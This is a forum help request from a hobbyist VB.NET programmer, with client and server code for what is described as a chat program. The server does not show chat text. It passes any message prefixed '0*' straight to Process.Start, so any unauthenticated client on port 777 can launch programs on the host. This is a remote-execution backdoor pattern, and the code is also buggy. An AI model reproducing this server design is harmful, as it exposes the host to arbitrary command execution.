hello all i am dariou i am a vb.net programmer well not really i like programming as a hobby but my real job is in media anyway i am making a client/server chat program and i need some help first of all my idea is this :

you use the client to connect to the server and start chatting now the server should take the sent text and send it to all connected clients and i have no idea how to do so this is the code i used : (please if you see any error let me know i would be really thankful)

also i want the client to show all connected user in a label as user1 and user 2 as user2 and so on any help please ? and do you think that my code can handle more than one connection to the server ? or do i need to do something.... as i said im not a pro its just a hobby of mine any help would be great thanks in advance

client code:

client code Code:
  1. Imports System.Net
  2. Imports System.Net.Sockets
  3. Imports System.IO
  4.  
  5. Public Class Form1
  6.     ' variables
  7.     Dim sock As New TcpClient()
  8.     Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
  9.     Dim port As Integer = 777
  10.     ' function to call when connecting
  11.     Private Sub connect()
  12.         ip = IPAddress.Parse(TextBox1.Text)
  13.         port = TextBox2.Text
  14.         Try
  15.             sock.Connect(ip, port)
  16.  
  17.         Catch ex As Exception
  18.             MsgBox("cannot connect to desired ip at this time, might be connection error or IP is offline")
  19.         End Try
  20.     End Sub
  21.     ' function to send data to server
  22.     Private Sub dat(ByVal dat As String)
  23.         Dim nstream As NetworkStream = sock.GetStream()
  24.         Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
  25.         nstream.Write(bit, 0, bit.Length)
  26.     End Sub
  27.  
  28.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  29.         connect()
  30.     End Sub
  31.  
  32.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  33.         ' disconnecting
  34.         sock.Close()
  35.         If sock.Connected = True Then
  36.             MessageBox.Show("Error : sorry cant  disconnect for some reason try again, thnx")
  37.         End If
  38.     End Sub
  39.  
  40.     Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
  41.         ' sending data
  42.         dat("0*" + RichTextBox2.Text)
  43.     End Sub
  44. End Class

server code :
server code: Code:
  1. Imports System.Web
  2. Imports System.Net
  3. Imports System.IO
  4. Imports System.Net.Sockets
  5. Imports Microsoft.Win32
  6. Public Class Server
  7.     Dim port As Integer = 777
  8.     Dim tcpListen As New TcpListener(port)
  9.     Dim sock As New TcpClient()
  10.  
  11.     Private Sub listen()
  12.         Try
  13.             tcpListen.Start()
  14.             sock = tcpListen.AcceptTcpClient()
  15.         Catch ex As Exception
  16.         End Try
  17.     End Sub
  18.  
  19.     Private Sub check()
  20.         If sock.Connected = True Then
  21.             sock.SendTimeout = 5000
  22.             Try
  23.                 Dim nstream As NetworkStream = sock.GetStream
  24.                 Dim bit(sock.ReceiveBufferSize) As Byte
  25.                 nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
  26.                 Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
  27.                 Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
  28.  
  29.  
  30.                 If id(0) = 0 Then
  31.                     Dim stri As String = id(1)
  32.                     Process.Start(stri)
  33.                 End If
  34.             Catch ex As Exception
  35.                 check()
  36.             End Try
  37.         End If
  38.     End Sub
  39.  
  40.  
  41.     Private Sub Server_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  42.         While sock.Connected = False
  43.             Try
  44.                 listen()
  45.             Catch ex As Exception
  46.             End Try
  47.         End While
  48.  
  49.  
  50.         While True
  51.             check()
  52.         End While
  53.  
  54.  
  55.     End Sub
  56. End Class